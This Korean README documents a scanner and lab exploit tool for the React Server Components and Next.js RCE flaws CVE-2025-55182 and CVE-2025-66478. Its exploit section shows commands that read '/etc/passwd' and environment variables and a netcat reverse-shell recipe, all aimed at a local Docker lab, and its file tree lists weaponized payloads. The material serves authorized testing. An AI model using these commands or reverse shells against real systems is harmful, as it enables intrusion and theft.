React2shell-web-scanner
CVE-2025-55182 및 CVE-2025-66478에 대한 고충실도 취약점 스캐너 – React Server Components / Next.js의 원격 코드 실행 취약점.
📖 자세한 기술 분석, 익스플로잇 메커니즘 및 IOC 데이터는 SECURITY-RESEARCH.md를 참조하세요.
이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 본인 소유이거나 명시적인 서면 허가를 받은 시스템에서만 이 도구를 사용하십시오. 저자는 오용에 대한 책임을 지지 않습니다.
| CVE | 설명 | CVSS |
|---|---|---|
| CVE-2025-55182 | React Server Components 안전하지 않은 역직렬화 RCE | 9.8 Critical |
| CVE-2025-66478 | Next.js Server Actions RCE | 9.8 Critical |
영향을 받는 패키지:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0수정된 버전:
# 설치 불필요 - uv가 의존성 처리
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# 단일 URL
python3 react2shell-scanner -u https://example.com
# 안전 모드 (RCE 실행 안 함)
python3 react2shell-scanner -u https://example.com --safe-check
# 호스트 파일 사용
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# CIDR 범위
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# 여러 CIDR 범위
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# 서브도메인 열거
python3 react2shell-scanner -u example.com --enumerate-subdomains
# 사용자 정의 서브도메인 워드리스트
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# 사용자 정의 경로
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# 지문 인식 건너뛰기 (전체 스캔)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# 상세 출력, SSL 비활성화
python3 react2shell-scanner -u https://example.com -k -v
# Phoenix에 결과 업로드
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# 디버그 모드 (페이로드 저장)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# 모든 결과 업로드 (취약점뿐만 아니라)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
.phoenix.config 파일 생성:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
또는 환경 변수 사용:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
Docker 기반 테스트 환경이 포함되어 있습니다. 빠른 참조는 Lab-instructions-sample.md를 참조하세요.
# 랩 시작
cd test-lab/lab
docker-compose up -d
# 서비스:
# - 취약 버전: http://localhost:3011
# - 패치 버전: http://localhost:3012
# 취약 인스턴스 테스트 (안전한 증거 수집)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# 패치된 인스턴스 테스트
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# 전체 데모 실행
./test-and-demo.sh --full-demo
⚠️ 참고: 익스플로잇 명령어(예:
exploit.py -c "whoami")는 실제 RCE를 실행합니다. 연구 목적으로만 로컬 Docker 컨테이너에서 사용하세요.
취약한 대상에서 명령어 실행. Python 3.11+ 필요
cd test-lab
pip3.11 install -r requirements.txt
# 또는: pip3.11 install rich-click fake-useragent rich requests
# 기본 명령 실행
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# 출력: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# 출력: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# 출력: 99e28775bf80 (컨테이너 ID)
# 시스템 열거
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# 애플리케이션 정찰
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# 출력: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# 네트워크 정보
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# 프로세스 열거
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Docker 네트워크 게이트웨이 가져오기
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# 리스너 시작 (다른 터미널에서)
nc -lvnp 4444
# 리버스 셸 실행
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# 사용 가능한 페이로드 유형: nc, nc-mkfifo, sh, bash, perl
[VULNERABLE] https://vulnerable.example.com
상태: 307
탐지 방법: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247이 알려진 악성 인프라와 일치
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
스캐너에는 활성 익스플로잇 캠페인에서 수집된 알려진 침해 지표(IOC)가 포함되어 있습니다:
payloads-exploits/iocs.csv에서 32개의 악성 IPpayloads-exploits/weaponized-payloads에서 무기화된 페이로드payloads-exploits/iocs_patterns.csv에서 도메인, URL, 파일 해시, 암호화폐 지갑을 포함한 확장 IOC탐지된 IOC 일치는 높은 심각도로 플래그 처리됩니다.
| 파일 | 내용 |
|---|---|
iocs.csv | 지리적 위치 데이터가 포함된 32개의 알려진 악성 IP |
iocs_patterns.csv | 확장 IOC: C2 도메인, 드로퍼 URL, 악성코드 해시, 모네로 지갑 |
--safe-check)echo $((41*271))을 실행하는 페이로드 전송react2shell-scanner-CVE-2025-55182/
├── react2shell-scanner # 메인 스캐너 스크립트
├── cve-2025-66478-web-scan # 원래 스캐너 참조
├── nuclei-rules # Nuclei 템플릿
├── test-and-demo.sh # 테스트 자동화
├── README.md # 이 파일
├── SECURITY-RESEARCH.md # 상세 기술 분석
├── Lab-instructions-sample.md # 빠른 랩 테스트 가이드
├── payloads-exploits/
│ ├── iocs.csv # 알려진 악성 IP
│ ├── iocs_patterns.csv # 확장 IOC (도메인, URL, 해시)
│ ├── weaponized-payloads # 실제 공격 페이로드
│ └── exploit-2025-55182 # 원시 HTTP 익스플로잇 요청
└── test-lab/
├── exploit.py # 익스플로잇 도구
├── lab/
│ ├── docker-compose.yml
│ ├── vulnerable/ # 취약한 Next.js 앱
│ └── patched/ # 패치된 Next.js 앱
└── packages/
├── vulnerable/ # 취약한 npm 패키지
└── patched/ # 패치된 npm 패키지
| 저장소 | 목적 |
|---|---|
| react2shell-scanner-CVE-2025-55182 | 랩, 스캐너 및 익스플로잇 (이 저장소) |
| react2shell-scanner-rce-react-next | 웹 인터페이스가 있는 전체 스캐너 |
이 도구는 공인된 보안 테스트용으로만 제공됩니다. 대상을 스캔하기 전에 명시적인 서면 허가가 있어야 합니다. 무단 스캔은 컴퓨터 범죄법을 위반할 수 있습니다.
책임감 있게 사용하세요:
웹을 더 안전하게 만들기 위해 노력하는 보안 연구자들이 제공합니다.
| 옵션 | 설명 |
|---|
-u, --url | 대상 URL (필수) |
-c, --cmd | 실행할 명령어 |
-r, --reverse | 리버스 셸 모드 활성화 |
-l, --lhost | 리버스 셸 리스너 호스트 |
-p, --lport | 리버스 셸 리스너 포트 |
-P, --payload | 페이로드 유형: nc, nc-mkfifo, sh, bash, perl |
--timeout | 요청 시간 초과 (기본: 10초) |
weaponized-payloads | 실제 공격에서 관찰된 실제 공격 페이로드 |
exploit-2025-55182 | 익스플로잇의 원시 HTTP 요청 형식 |